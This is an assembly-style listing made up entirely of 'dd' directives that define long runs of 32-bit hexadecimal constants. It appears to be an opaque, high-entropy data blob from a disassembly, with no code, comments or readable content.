		dd 6D9605D1h, 802B3AD6h, 320CF550h, 0D97801EEh,	5B08C150h
		dd 59CE2912h, 4168A480h, 17989F2Bh, 0F6583467h,	26CF0E96h
		dd 0BE73DE16h, 0E39B0B14h, 0B3C45866h, 3049BBFCh, 67F20254h
		dd 0D8C5FA73h, 0C8892625h, 0BDDF1A2Ah, 0E807D4E3h, 6DCB1081h
		dd 0B85F643h, 0C0AEE90Dh, 36184EE8h, 51594416h,	48893EF1h
		dd 1D447BB2h, 32FEB9FAh, 31380616h, 0D0E92A20h,	2C40BAD4h
		dd 8035FF8h, 5F26FEAFh,	8CA9AADh, 6C029D85h, 804B0521h
		dd 0FADE96C8h, 0E1E919B4h, 0DFE239FCh, 68021BDAh, 0E42F4B60h
		dd 89A730E8h, 0D7207CF0h, 0FEBB094Bh, 23784603h, 18EFCB5Ch
		dd 0C0C2E19h, 74280501h, 80EBC14Bh, 0D6FBF319h,	0C21FDF2Dh
		dd 0C9E4DC1Bh, 518FBAF9h, 584E2168h, 9947596Fh,	0B8890F5Ch
		dd 2AA3A11Dh, 2A90EC63h, 0F017E9C4h, 487ABFE2h,	5212F51Eh
		dd 5355E8D2h, 5E285A9Fh, 220E24E9h, 0B51935Ch, 2FA14970h
		dd 0D2138BBAh, 19E07360h, 4790BC7h, 54C701E5h, 5B0428E4h
		dd 526A8805h, 54266800h, 7FE90A64h, 8916DEE1h, 0F6C67C34h
		dd 4CC01A09h, 0C861045Ch, 4801E2h, 0F920272Fh, 7DE36A72h
		dd 8E8C112h, 57BF1501h,	36A87331h, 95EE928Fh, 5F595C89h
		dd 0D6B6AC00h, 24E98972h, 12B0415Dh, 0B2590707h, 711F552h
		dd 8023A282h, 0E9F12119h, 9430AD2Fh, 3B659B04h,	896BB17Dh
		dd 9C4617D5h, 5B580B0h,	8CB5973h, 7DF8EC4h, 2D745452h
		dd 264967B8h, 96EC89Eh,	0C88A5A1Dh, 5197CE69h, 53B94CC2h
		dd 415989FAh, 8F142300h, 12FF520h, 883645C8h, 580268CAh
		dd 78C0B60Fh, 20877DF5h, 0BD4FB8ECh, 4443CCC8h,	0CB98CE54h
		dd 9FDC2C4Ah, 0AD02B521h, 0BF0015A9h, 7AB34461h, 0DBDA6732h
		dd 5E716250h, 5FF93100h, 0CEBD0755h, 9ABA288Dh,	4F290AD6h
		dd 711F098Eh, 1C2A7653h, 0CC479B25h, 0E9C512CAh, 1104540Dh
		dd 0C74E8603h, 6E0C101h, 0A817E181h, 9104BC32h,	0F98C2831h
		dd 0BFEECB52h, 402F98D9h, 2E6C154Ch, 3AF70BC9h,	0D832981h
		dd 342149E9h, 3358611Ch, 0F609DE8Bh, 846ED95Eh,	0C1A57D6Dh
		dd 8B67F985h, 3B39D535h, 0D47E10F0h, 0B73B60BCh, 50EF8018h
		dd 965FD0AEh, 206BEF2Eh, 68F0DEC2h, 0E94CB895h,	3CE8BA90h
		dd 4FFA2DADh, 0EA8C8096h, 3A5CA47Fh, 6A410742h,	626F186Eh
		dd 0D4F28E5Dh, 0A1C525B0h, 7D2BA62Ch, 2B47E905h, 5A12BECh
		dd 0E5A259CAh, 0AB163E36h, 40F72392h, 0B701DEB1h, 0EF3A992h
		dd 129C923Fh, 0A25FA862h, 7A73A028h, 5514CBA5h,	15A4E5D1h
		dd 0A7639802h, 0A68A800Bh, 7473C716h, 0C95A5EE9h, 0EA613192h
		dd 51196807h, 0AA3AA024h, 808FCA95h, 97438426h,	0D9F72615h
		dd 14041622h, 0F350B0D2h, 0C17602Fh, 4E5B613Bh,	0A0CDD90h
		dd 0C681A7Ch, 1F482665h, 0C53009E2h, 94954244h,	68500B41h
		dd 0E11A4876h, 423B3E60h, 82A5F596h, 2D61E8h, 0D786EF88h
		dd 0E41E2C8h, 12FED05Bh
		dd 4534524Bh, 0B869EC2Ah, 61A3C05Dh, 9BA51EAh, 0CEF20998h
		dd 3DB80901h, 0F9C0215Fh, 0E3938146h, 6699EB80h, 10481132h
		dd 0CDF2DC8Eh, 542E0063h, 27582650h, 135B0513h,	858008CBh
		dd 3E192A5Eh, 13F8331h,	4279E383h, 1E263D11h, 57283324h
		dd 0F68AD95Bh, 0CBD70C50h, 0D13AADC5h, 5AF74C8h, 2D6F3F00h
		dd 2C116EF8h, 7574BE9h,	72D18838h, 3F59C7ACh, 68565180h
		dd 499C0C7Ah, 9E4A464Bh, 0B4680910h, 4475F16Ch,	89EDF95Fh
		dd 590E61FCh, 0A5E7CE65h, 5266CA90h, 28371DB6h,	7BAEAFF3h
		dd 35A47192h, 6FBC2519h, 6AC11600h, 0F316E317h,	8AE9C2DBh
		dd 0E7262408h, 52E0DC72h, 0F0149F82h, 5E793C8h,	879D01F0h
		dd 71F1B850h, 92703067h, 3322BF53h, 6801B5EBh, 9D8D2CAFh
		dd 0ECCBE77Eh, 0AF956780h, 0F9A0172Dh, 8135C0D1h, 7113FDCEh
		dd 392C497Bh, 9A445F52h, 8080BE95h, 0A74608Eh, 31CE683Bh
		dd 0D9046FADh, 0D459986Ch, 25E10F19h, 0F17849FCh, 0C210FFE3h
		dd 5D006232h, 68555357h, 4A7C7C33h, 0DE0005B6h,	0C1521F22h
		dd 13075CE5h, 0D5D9FD09h, 0F61F14Ah, 0CBC587CAh, 65B45060h
		dd 5FC2E480h, 184B60E7h, 36B76219h, 0F63BFCF9h,	13BCF74Ch
		dd 25A36EBAh, 8B5FBC64h, 75294B58h, 5FC9816Ch, 6A020838h
		dd 0BD83768Ah, 80CFB52Ch, 7472CDB9h, 0CF58290Dh, 6000B5F1h
		dd 2AC36BA9h, 3EF30C1h,	0E15FEE12h, 102F394Ch, 7549307Eh
		dd 4AB8B070h, 8F0B8054h, 0EDECABFFh, 0E9D6A2BFh, 0D56581Dh
		dd 0E828CEB5h, 99897D75h, 392F52F8h, 0F526AF5h,	0C75A4D09h
		dd 1662A48Dh, 311CA32Fh, 14BD112Ah, 9CBF1E20h, 6CA48BB3h
		dd 4329C2CCh, 0CA259E57h, 12A68BBDh, 2C845823h,	93505285h
		dd 0C7310450h, 7E37C863h, 879975BAh, 6029368h, 0DE022B1Ah
		dd 0C3E909A9h, 805BD925h, 16619D42h, 2C404630h,	0ED143524h
		dd 27E91960h, 9A4D80Ah,	1FE65602h, 5A28109Fh, 0B4A809C4h
		dd 326AD716h, 67DA3066h, 3784C94Eh, 4B7D898Ah, 0EBEDD2F0h
		dd 0D6902579h, 7D7E6803h, 0ED275D34h, 76E76E50h, 0FE14BFC0h
		dd 92175C5Ch, 0E5CCB9D9h, 66962FE9h, 6CF8964h, 41796B08h
		dd 8058597Dh, 4FDD2568h, 0BA202DE6h, 0B649029h,	19EF151Ah
		dd 0FC3934F0h, 0F02193E0h, 9A4567C8h, 0FE8B9FB8h, 0E91626ECh
		dd 0BFB2669Eh, 32B37D86h, 0D0F0B29Fh, 4C772F51h, 9DD2D8A9h
		dd 0BBE64135h, 0D2FD2224h, 42058305h, 792CA331h, 0E0E90BA0h
		dd 848BE25Dh, 82B34B68h, 5D6BE91Ah, 5953BE55h, 583781A8h
		dd 0AB769667h, 1C6EBF07h, 1EA25271h, 0A3BD00C8h, 0B6A0372Bh
		dd 638A01EDh, 268B049h,	5B989745h, 0C806D45Eh, 37A3E9A6h
		dd 0F8C8AEFFh, 405294FEh, 7C4E56BBh, 0EBC15C09h, 752E0006h
		dd 0D05FCE4Bh, 0B827F712h, 0F2053384h, 0F001C48Ah, 0ADEE2216h
		dd 0F8778D52h, 6895CEF0h, 3EAC1A7h, 0F2814A05h,	6DA0FCC8h
		dd 5A5CD189h, 2D6248C8h, 5DE30186h, 8EB9EEC1h, 56535287h
		dd 6FE8F35Eh, 0F66D309h, 3F9911A3h, 48D14124h, 9242D5E2h
		dd 83E9674h, 680E1D77h,	5B8D5322h, 41988B0Ch, 20C1E4B4h
		dd 0BDF458E4h, 3097B892h, 98835B7Eh, 1C515CAAh,	0C6104F94h
		dd 0DA871C43h, 0E4D1D797h, 4F6965D1h, 0FB4EEC07h, 0B0D4B463h
		dd 5B4B5887h, 7074458Bh, 0E9F00BB0h, 103322h, 0DB181B82h
		dd 88CC2D02h, 5FE9126Ch, 0E0D04210h, 0CD805708h, 22805801h
		dd 0A7FEBF00h, 0F731DD7Fh, 2F92B75Eh, 3197F494h, 0DD73DDF0h
		dd 1DA06882h, 0E90BE6CCh, 2C018216h, 17290338h,	4CB89D9h
		dd 88FFEB9Ah, 0CBA8DB22h, 0A90EF181h, 0C144665Bh, 4D4F62E1h
		dd 0BFDA2870h, 6EB5F180h, 0FEF6E580h, 0EDC0CD0Fh, 0D5F50705h
		dd 0B60BE805h, 455C4294h, 0ECCC2771h, 9E9C80Bh,	49B36AFEh
		dd 0FB2C8218h, 0B5905A27h, 1783F594h, 0CD4F8386h, 7A23FDC7h
		dd 0C0B3CC13h, 5BBFFF50h, 6856292Fh, 60BD0209h,	572974E4h
		dd 478F2122h, 0E0824CAh, 39C23CBAh, 5B0B13FBh, 16865E54h
		dd 0A72952ECh, 0E9C4B56Ch, 0F1CC97E5h, 0E4162CA5h, 1ABF72A6h
		dd 0A3E7343h, 4EC22CA4h, 126C7AC3h, 0A845B3D9h,	0F527A65Dh
		dd 0C1C068DEh, 250A00B8h, 86BD551Fh, 7A0C9631h,	793CE4E9h
		dd 4A69EEFFh, 4B9B8A3Ah, 80D98001h, 0C7CC03CFh,	0FE73A5h
		dd 0F6ABB652h, 4E6C0D6h, 0CC41D9FBh, 0E91014EEh, 51075395h
		dd 1EB6A5B1h, 6659CE00h, 0F85B8850h, 3B5ED383h,	38125BF9h
		dd 7E5BF235h, 47AED570h, 6801C194h, 58B96EAFh, 0A4A63770h
		dd 4CC60B87h, 0A0F2C2BDh, 121E2948h, 0DD2042AEh, 0BD2422A6h
		dd 0DA2C886h, 723505B4h, 375384C7h, 960A59B0h, 504259A5h
		dd 8FC93802h, 6930F65Bh, 0E6E1F766h, 0FCD2568h,	0A606CB39h
		dd 80A91C63h, 66AA2D44h, 0AFB453FFh, 97014F81h,	5D6E2D5Eh
		dd 46234000h, 0D9E9778Fh, 1E2899Fh, 2CBD043Bh, 0BEC4DC88h
		dd 0F7F38703h, 14085ED6h, 224CFC93h, 415BDF1Dh,	0CBE95FFDh
		dd 0E2995532h, 7C4E7BC3h, 0FC551DC2h, 699CC2AAh, 5B625607h
		dd 0CFD5DC23h, 0F9B8B944h, 44884E74h, 5AF8A875h, 5EF12401h
		dd 0F94549C8h, 71A73A27h, 0B9714953h, 2B880965h, 80AF6250h
		dd 60FCD821h, 4DB0F42h,	292CC66h, 2BED618Ah, 0B3C5EF04h
		dd 5AF0AC00h, 0FE511B04h, 5CFD4D8Fh, 0D2585410h, 0F1B0DBA8h
		dd 0A12F79D4h, 0CED70C2Dh, 432626E2h, 927210A7h, 572771CEh
		dd 2F96BB94h, 0B0FE6809h, 0AC0B85Ch, 48285143h,	895712D6h
		dd 8B563DD6h, 77E72F1h,	0B319A2CDh, 0D3F56026h,	4F5E0A3Fh
		dd 56E98BC0h, 55BAAA16h, 1852A632h, 0D5885116h,	1455F1Eh
		dd 0ECD4F3E9h, 2092DAB7h, 11E95769h, 2E4F6D40h,	900E781h
		dd 9A82462Ch, 9046AF0Eh, 4BCE6815h, 2B502476h, 0BF6D413Dh
		dd 8669A9E4h, 31258C6h,	0D5A47DBh, 0B61D92Dh, 48E3E91Dh
		dd 0A089536Bh, 0A77E699Bh, 0F8893625h, 30AFE695h, 0C2B43731h
		dd 35041774h, 63106851h, 621622A3h, 682D88DCh, 61AA8E70h
		dd 5BF91CBBh, 0C6B82831h, 501D21A5h, 0AC1887D8h, 91420AF5h
		dd 2ACD2A4h, 7BD72275h,	12445FEh, 0F78C691Ch, 97F8F523h
		dd 13D3EC94h, 0DDC0FB12h, 0BB2D58h, 0C1792A26h,	354003E8h
		dd 20180105h, 0A3C4894Eh, 373D1DC0h, 97A13D7h, 0DABD04E9h
		dd 0FA29056Ch, 554A8701h, 0EAD8109Bh, 0CF4F283Bh, 0D04D4CD5h
		dd 5FBEEE80h, 8CF62617h, 0DA714349h, 0BB965F97h, 265ED20h
		dd 9B27BAB9h, 8B81810Fh, 3029A14Bh, 827BE1E7h, 2572DD3Eh
		dd 0B248A1Eh, 0F4AA68C3h, 4BC4BFF8h, 9CA81212h,	28AD109Fh
		dd 0F73AAC66h, 12C7CE47h, 48CC4AE3h, 81C0F91Ch,	6C471FEDh
		dd 23A53F4Bh, 0D5BD0804h, 37FC9018h, 710970CFh,	4DBF744h
		dd 30B7EAC1h, 0B124EB4Ch, 663FB269h, 2801EDDCh,	12C5AD0h
		dd 0E904C8D4h, 13B353F4h, 4BBEE92Fh, 0A9275BF7h, 47713914h
		dd 23102EACh, 254B5D28h, 102925DAh, 0C774FA09h,	7105CC42h
		dd 4F92065h, 5E337DA1h,	640CA268h, 0D3815D2Ch, 5901D22Fh
		dd 0B7712B53h, 163FEB83h, 489F30Eh, 27023F6Ah, 0C302A0E1h
		dd 37995531h, 0F4D21783h, 151C5D68h, 52002191h,	972AD0BAh
		dd 0F44A4A05h, 709C2A3h, 7E43DA09h, 0F16108FCh,	0E580451Fh
		dd 7A79341Fh, 0DA53FF4Dh, 8361CA20h, 2D73C0h, 35D4C273h
		dd 0D1215E7Ch, 0E1C15A02h, 98BF5706h, 4889CF83h, 0D120EF9h
		dd 370FD62h, 0D99F91EAh, 0E86EE28Ah, 149BAC1h, 310FC0E1h
		dd 65895AD6h, 0B5386C62h
		dd 50840EBDh, 0D90992C3h, 0FE3DC86h, 0EE01C579h, 0F746585Dh
		dd 1CFC4EDEh, 0EDBFC056h, 0FC27D4B6h, 395F1090h, 585166D8h
		dd 0D40E4253h, 81402A4Ch, 0FE057CE6h, 94C4969h,	2D0F707Ch
		dd 8C14C131h, 2ACD8927h, 0E4A5D6E6h, 0E95A138Ah, 0EB7C5F29h
		dd 18A5BF6Ch, 9DBD1EC0h, 5968420Bh, 17BC8431h, 5EDD09AEh
		dd 0ECBB6489h, 8BE2DAFFh, 0AC864F66h, 26FA07D7h, 68040C96h
		dd 258F780Fh, 0C9D67313h, 501D31C4h, 0AB6858FDh, 541698B7h
		dd 9D514B5Eh, 0B46F6C60h, 0B2FE1149h, 0A222555Ch, 5EEA51BFh
		dd 5E4D6F44h, 109F946Ah, 3842F7F4h, 0EF22CF20h,	40681202h
		dd 0F4E6AC65h, 6A2A4BEBh, 535B9DD8h, 23F87DDh, 32AEE9D1h
		dd 0C688B8F9h, 555E0BAAh, 0ED42A116h, 1F9DE90Ch, 9CB8DF9Dh
		dd 6DC61DEEh, 9003FFBBh, 7C735F3h, 102204A9h, 97051662h
		dd 0B85F260Bh, 2D67D008h, 89096965h, 7190561Ch,	2AC289EFh
		dd 5908900Dh, 955C7364h, 18020141h, 3EDE25E9h, 0EF25CCDAh
		dd 7AE520D7h, 907EAB6Eh, 5E2701D3h, 0E9561B22h,	4C27451h
		dd 920E2172h, 802CD828h, 9EB45053h, 0E9BF09B7h,	2272379Fh
		dd 7360C907h, 5EC46CAFh, 0F804E94h, 619F7E4Ch, 38DCA465h
		dd 4D003E54h, 7BF3B724h, 0BB09489h, 2A4E3768h, 4B9C837Ch
		dd 71BF5C49h, 692D3F5Fh, 98141F5Dh, 0B64BABCAh,	2A744A7Bh
		dd 3BA91483h, 8D1249C6h, 0D06CF202h, 0B0209606h, 974C9768h
		dd 0E14B6EC6h, 0E5646D34h, 8B404EE3h, 505518D0h, 61520C38h
		dd 332D5E24h, 81A3434h,	5B14050Ch, 85C51BA8h, 61DB83C8h
		dd 815DBB03h, 7C757CC6h, 0C5367702h, 83F40418h,	59A02C9Ch
		dd 995C330h, 8762059Bh,	94F68A88h, 6FC921E9h, 0A24220C4h
		dd 685700A6h, 70F249A3h, 0BE4F605Fh, 30C566DEh,	1856C149h
		dd 0EA4FDA9Dh, 2D4D0B29h, 16505B63h, 144FFBCh, 794AA8BCh
		dd 0B92A89FEh, 3773A0F0h, 0BD529173h, 4EF65430h, 274B7512h
		dd 8E50BFB3h, 0DD7C136Ah, 6C5BC63h, 1AE905E6h, 0EB283B79h
		dd 0A31EAC96h, 0E9548F96h, 5B9EA475h, 66AD3CABh, 0B544D34Bh
		dd 8F1EA89Bh, 809FF658h, 0E2B25251h, 0A04CF280h, 1CE5D2E5h
		dd 15F60A40h, 4B5F039Fh, 1609F381h, 0E9130E7Dh,	58B4D3CFh
		dd 67A512D2h, 1775F03Eh, 631AEF6Bh, 5041C2D2h, 0C0DF9CBFh
		dd 75C09D7h, 5153119Fh,	943FCA3Eh, 6961146Bh, 2050CF85h
		dd 4F6441FEh, 0FA6530E9h, 52A6F697h, 295E830Eh,	0C2407EF2h
		dd 21BC1D54h, 0E5EA7801h, 63680840h, 8236B141h,	0BB27E957h
		dd 0B96D8156h, 2CD44130h, 523E957Fh, 8DD5FFE1h,	0A73BE91Dh
		dd 5237722Ah, 395C7BC2h, 87D1F700h, 70F581CDh, 44392E89h
		dd 0C0DEB9BFh, 331FCC48h, 775A343Eh, 6F9612C1h,	0EBFC4703h
		dd 0C40B028Dh, 23DC6827h, 429D44AAh, 0F846ED9Ch, 0A75A99F0h
		dd 296B3E8Dh, 8B472DF9h, 8E53F123h, 0D80EAF2Ch,	0E000AAB7h
		dd 93F78035h, 38CF75FEh, 0F805E9EFh, 0B823045Bh, 81C88BDh
		dd 0C5241D4Dh, 5AC9F91Ch, 95CF0055h, 9843786Eh,	169D0026h
		dd 0FA89EE1Eh, 384C77E9h, 72F0D65Eh, 0D8A24F68h, 1B0321AEh
		dd 0B7E969F1h, 1C3785Ah, 62DB1A44h, 3A59C829h, 57A584C1h
		dd 0B842BA00h, 970C424h, 0A4748238h, 8CA295Ch, 2FDA2C08h
		dd 69C57A09h, 2F831B25h, 0D5E745A8h, 0BEAD9625h, 43E9500Dh
		dd 3074E49h, 8E7C1DFh, 2F4D9881h, 0C8694ACEh, 0BC90F344h
		dd 0FD301672h, 30AC321Ah, 0A0514AD8h, 9697886Fh, 0E1801C07h
		dd 9BC1C366h, 16FEBDE9h, 2328882Dh, 5FB79DE7h, 53D1CAEAh
		dd 685500D8h, 392335AEh, 929759E9h, 48D08A4Eh, 512E041Ah
		dd 20EB7854h, 6C20BDDFh, 2924B973h, 0C80A6FE8h,	0E1A70B55h
		dd 2FA4EB32h, 922922C4h, 83FACB0Eh, 77DC15E2h, 58710735h
		dd 9D2F5380h, 0DA82216Ch, 0EAB8A325h, 2FC3907Ch, 0D866567Eh
		dd 0C5F04A20h, 0F3225D1Ch, 0D4C001F9h, 0F129B9DAh, 21C90922h
		dd 0B1E9340Bh, 2811F6BEh, 2D2E34D5h, 0DA185462h, 13448C2h
		dd 7F9106ACh, 9B75D9E9h, 0ADB9642Fh, 5D31847Ch,	5E898EB8h
		dd 0FE095325h, 9CE9C20Eh, 962F64A7h, 6BFC2E2h, 0C83A3F0Ah
		dd 74304844h, 0D6AC0307h, 567C577Ch, 736C178Fh,	0CBB90917h
		dd 0CD807051h, 0F77ADF66h, 90DBE4D3h, 67C307E9h, 60603F12h
		dd 8B35F3CBh, 0A2E95809h, 0C61F2746h, 0DE874E81h, 1F0838B5h
		dd 0CF992403h, 0ACC6F82Ah, 210F08CFh, 0D032424h, 0D97EFA31h
		dd 8825157Bh, 9F496CD8h, 0E199C22h, 34EB8001h, 73F7CBCCh
		dd 48F0A2FEh, 12B9BFEFh, 4E3DC009h, 72D1B4h, 5E4864BFh
		dd 18C0471Bh, 0AAB85008h, 655C0062h, 0F445A905h, 0E1163557h
		dd 1DBA6A3Ch, 0CF49C013h, 0C701A239h, 0B3BDF9A5h, 0E48AC4FEh
		dd 40C008F9h, 74B29C05h, 9F35F200h, 1625C12h, 13584AC5h
		dd 0B04475FAh, 0A441B155h, 0A8D32B28h, 0B85CA284h, 24689746h
		dd 697209BCh, 1E7A3D60h, 81528300h, 74CF75EEh, 0F38924E1h
		dd 85E9857Ah, 0DD31AB3Eh, 1A2D61A8h, 0EB665CC4h, 0F5FE223h
		dd 66C05A5h, 7D2CFDB2h,	0EC178825h, 0B454FE45h,	109D6204h
		dd 1D286009h, 1A44B5B2h, 19F1862Fh, 0BC36B8D3h,	5973AD05h
		dd 10C5130Dh, 0E9090834h, 102C3398h, 2238EEF0h,	1DAF4026h
		dd 8F618514h, 20E6DCE6h, 0B901184Eh, 89DEFFF2h,	3D205EF0h
		dd 0BD1202E4h, 1114E97Ah, 0F588B151h, 0F85C13B5h, 0F60BB297h
		dd 28F0EF3h, 0D1A3D2E6h, 4B50D558h, 0C61FCE1Fh,	4472EB29h
		dd 0FA082138h, 0B480CB3Eh, 4D265C7h, 0C8685946h, 466D95Dh
		dd 0B7C1800Eh, 0E9908761h, 23F4C328h, 6BB7404Ch, 568D8B87h
		dd 0F3B43D17h, 67F7C014h, 9BF4F828h, 5A12F6B6h,	0BAA05FECh
		dd 504C4E7Bh, 58EA04D4h, 12C24023h, 9009D0DAh, 15763F73h
		dd 77704F2Dh, 245EA898h, 2330E78Dh, 0F64E82D1h,	0A23CA92Eh
		dd 0EBAEE54Eh, 0D9273B8h, 810F809h, 0FA9CDF92h,	0EF0A5313h
		dd 0BAA5D3E3h, 52A3FEC9h, 0E6853C60h, 0BAF2CC83h, 0D50ECDD2h
		dd 0BEAA247Dh, 0AE1D5013h, 18F6F100h, 0BD5C8E3Dh, 4DDB2082h
		dd 0D8D88902h, 0DCA7AAE0h, 0A731C8A6h, 5A54EFE2h, 0B4DDFE46h
		dd 0E16D970Dh, 299B6A7Dh, 0C722085Dh, 417DEC40h, 8F652DEEh
		dd 332A45Eh, 0F4128FBh,	84ECB348h, 0FC13A273h, 136A8DA1h
		dd 1E7D7425h, 2C81CF40h, 1DFBB8C9h, 0FF8EBD78h,	51CBFDEFh
		dd 2A05896h, 0D3C947EAh, 92EEDCC6h, 8294F85Bh, 0CC2A0CE9h
		dd 69585989h, 207B8892h, 0D23495D1h, 0F109F694h, 503CA420h
		dd 0CD4BDEB3h, 5E7C9652h, 10F1A717h, 0F45F612Bh, 206800D7h
		dd 7C063D49h, 37A96F12h, 587BD249h, 0E94193DEh,	0B7522348h
		dd 0CB0B5529h, 5D4ADFFAh, 0E98468A2h, 2EF7B17Ah, 844BF7DAh
		dd 0D294A499h, 9E822C54h, 0F05A140h, 1D6961B5h,	0F7F95049h
		dd 34305A0Ch, 0D06DA32h, 375E0043h, 3D957B45h, 0DEF79C61h
		dd 0E6482130h, 0E93B1BBCh, 65ABF3B6h, 0CC8D3D4Ah, 0E3EFBEDh
		dd 7923BF9Eh, 9BD711D5h, 4B9A7E5Eh, 13E7635h, 2D06E0C1h
		dd 42D1C83Ch, 3A58E5F7h, 22E90A71h, 414AA26Ch, 3B4F268Fh
		dd 24BE0032h, 7C1A5C67h, 0C159035Fh, 0BA4808EEh, 4D1277ECh
		dd 0AA0440A1h, 0DE16EC68h, 7D900469h, 14EA0E54h, 352CA8F2h
		dd 64424E39h, 9CE04BB1h, 4F2D73E2h, 622A0BFDh, 0D2516008h
		dd 164E3349h, 94C48DFh,	1BC82C4Ah, 95651A5h, 55F6A0C3h
		dd 5B3BA482h, 121F7637h, 0F9A91B43h, 0E71F6E02h, 62894E8Bh
		dd 62830059h, 791E6367h
		dd 94E92929h, 2CA13ADh,	0AB706512h, 160BA974h, 0E98E5EA9h
		dd 0CB6384h, 95F5957h, 15299F4Fh, 59E92887h, 4BCF67D6h
		dd 9A5BDCh, 6CFA2A02h, 130BF381h, 8A417842h, 0EA0119F2h
		dd 31D27D97h, 0D8D40A3Eh, 0A1D8493Fh, 3F45B09Ch, 31AD8440h
		dd 9D6852D8h, 393F497Ch, 84FB4D2Bh, 0B610FE6Eh,	94321803h
		dd 82E3483Bh, 0EB97409Dh, 6B6916D4h, 32960CC0h,	582101FAh
		dd 0F60E05DEh, 102B0620h, 15E7A85h, 7873A0A6h, 0A008614Fh
		dd 68170834h, 3C8C098Eh, 0CE670799h, 0F003C75Ah, 1A53198h
		dd 3C8B3B13h, 5B27FAF6h, 0C6ADF8EFh, 5F540221h,	6010E951h
		dd 0EA827E71h, 7D4E3C69h, 0A6660600h, 0CE778142h, 355ADBF8h
		dd 6752A14h, 91528FA4h,	0AB074C12h, 204F8904h, 0E837EF7Eh
		dd 6040834Ah, 585E834h,	0B8E9F531h, 802AF8F4h, 2D36DF35h
		dd 0BACB83Fh, 65A23714h, 854B4AEh, 10A2582Fh, 6801D9EBh
		dd 312B1927h, 3E9F52C3h, 0B342849Dh, 0D6F2C602h, 2198B5F3h
		dd 5A562CBEh, 99557E3Ch, 2D769D0Eh, 7A92D151h, 0E920CCC5h
		dd 0C0F3ED80h, 0EF04BE06h, 2C74E828h, 5214B09Bh, 178112BDh
		dd 3D3FD99Dh, 0BB933044h, 4A5F2784h, 0F7261DC4h, 0E33375D8h
		dd 0EC992587h, 0AB3A730Ch, 9EC32684h, 64BE9DA7h, 59546273h
		dd 0E9E192D1h, 0CC2CC6BAh, 7782558Bh, 0DD761843h, 0CFF4CA51h
		dd 55199FEAh, 0DCCE7C24h, 3B48F250h, 0C32450h, 4CBC8C7Ch
		dd 685BD829h, 0C6266E25h, 516D618Dh, 3156C301h,	42002A90h
		dd 1A79B0BBh, 40CDF40Dh, 210A5E58h, 0E0455AD5h,	68155004h
		dd 0E9EA27C1h, 1A56CC45h, 0B1EDAFC9h, 4E5FD2F6h, 0C00B9814h
		dd 0F60B78B8h, 3C280D2h, 9B3CC2Dh, 7C5BD47Dh, 76F3F901h
		dd 0E903C042h, 4597914Bh, 609630B0h, 40F7F607h,	534F513Ch
		dd 0E75885E2h, 0A7746B14h, 8D399217h, 55377B01h, 570623F2h
		dd 7890A2BAh, 6695E0D1h, 5A595D9Fh, 1851D28Fh, 0C19B9DC6h
		dd 0BE6916C5h, 0FDB9F557h, 0BE0E7BA6h, 383002BDh, 9CEDC3Eh
		dd 9D5AD5F7h, 0E7DCD05h, 0AE001593h, 0E264F185h, 94B89801h
		dd 0BF7BE1Fh, 7B5E74A5h, 0BF579F02h, 7E8A088Bh,	539200C6h
		dd 0D5E969DEh, 0BE9C3C5Bh, 0C6E1F858h, 54CB0119h, 0F80D2F09h
		dd 0E1530F41h, 438D2509h, 19C5942Ah, 0E95B4108h, 8F6073C4h
		dd 32F9C9E9h, 507B49D7h, 71E42161h, 4F294B02h, 35D78B12h
		dd 0A71BBDBh, 0CC8E5651h, 0A8140C65h, 116AE704h, 306EB191h
		dd 349A4B91h, 560292A0h, 8160F401h, 667407F1h, 99E97686h
		dd 52BC92F6h, 215A6861h, 3B037D66h, 810B4477h, 6EA59D01h
		dd 72E91990h, 89176038h, 0C31CE2D6h, 0F5F0E9DEh, 500223BEh
		dd 2B2D77C9h, 0D02A0F32h, 0B55D4EBEh, 13136B12h, 40A39C28h
		dd 205BBA9Ch, 0AE7D19C9h, 94EA4A76h, 0B409EEBAh, 25F72039h
		dd 0D15EC4h, 0F7842D30h, 0C789A593h, 0CB87583Bh, 40466104h
		dd 2B04C610h, 8077916Ch, 0E507DB3Bh, 0F50443B0h, 21A87C09h
		dd 4A3F2C80h, 146AD6DFh, 22C5888h, 874002D2h, 7478AB0Eh
		dd 9472FFh, 39284F38h, 3FB0CC05h, 0B572C6D7h, 9CAA9AC4h
		dd 9D9097C6h, 0E8C8B62Fh, 0C55BD2F2h, 0F0C688A0h, 0BC98D778h
		dd 3B4FC34Dh, 8B40AEC2h, 42C78080h, 0EC5BFC28h,	1179ECh
		dd 0B753F9E4h, 0C6A7E92Dh, 22166CB5h, 11C42C93h, 33AB1D61h
		dd 9E7BD80h, 60D24974h,	0E215A9D8h, 0E9460D3Dh,	263BF42h
		dd 875001CBh, 0B0015E9Ah, 5AF030C7h, 5160602Ch,	0E913E904h
		dd 57A992DDh, 2DE5E4C0h, 9286F2Dh, 18B55CC2h, 0C9E915E1h
		dd 68679F63h, 7BFDDC43h, 5E4F7Dh, 6EF0BE89h, 7E9868A9h
		dd 891D2D5Fh, 0E42EC5C9h, 30309F20h, 56D69BD9h,	1B211E8h
		dd 23908B58h, 64FD3B01h, 4A05E2C1h, 8E9A903Fh, 23762F17h
		dd 1218C0F8h, 4CA7F16h,	0D3FF50EEh, 2D275FD9h, 690424A3h
		dd 7C4C95FEh, 0D89B0273h, 5F89836Ah, 0E9C61B00h, 2397CF49h
		dd 2C8A582h, 3A0CB80Dh,	0E8605ED0h, 0E7962971h,	92F88269h
		dd 0F0EC4CDh, 1EC8108Ch, 9609657Eh, 166D2600h, 0E6A07844h
		dd 0BC0B212Eh, 0A0EEC13Ch, 2FA1D6AFh, 3D279545h, 0DA6591E2h
		dd 19CC3F2Eh, 9A64024Fh, 5AD78922h, 0FCE98E40h,	81D61648h
		dd 154B1C9Fh, 0F197C42Eh, 0E3D43E3Fh, 6E94E5C1h, 34FEC4FBh
		dd 0A30C17E3h, 705EC99Ah, 80CD90E3h, 177FEA72h,	0C279FC78h
		dd 88DC283h, 0DF4F6F1Ch, 9066FF59h, 0C71F3E00h,	5AC1E966h
		dd 2999DD54h, 310B4ED5h, 0C1F24A82h, 8F648C08h,	59C32E68h
		dd 0A4618859h, 47BFE827h, 0DE89829Ah, 6623797Eh, 2B4C8A8Fh
		dd 0BF0A8602h, 28C51EC7h, 8259B83Ch, 7751ED03h,	104823D2h
		dd 1606303Ah, 5F72D022h, 0E9450214h, 31473DF6h,	8BCF972Ch
		dd 81EED6EEh, 4768CE01h, 0C9556C53h, 5A2F24FDh,	41CA6080h
		dd 94215C38h, 12635A7Eh, 1E22FD91h, 0C4E4F766h,	4D06FB12h
		dd 1670CCBh, 0A5B1DEBh,	20DD019Ah, 0AD81E4DAh, 0B504D670h
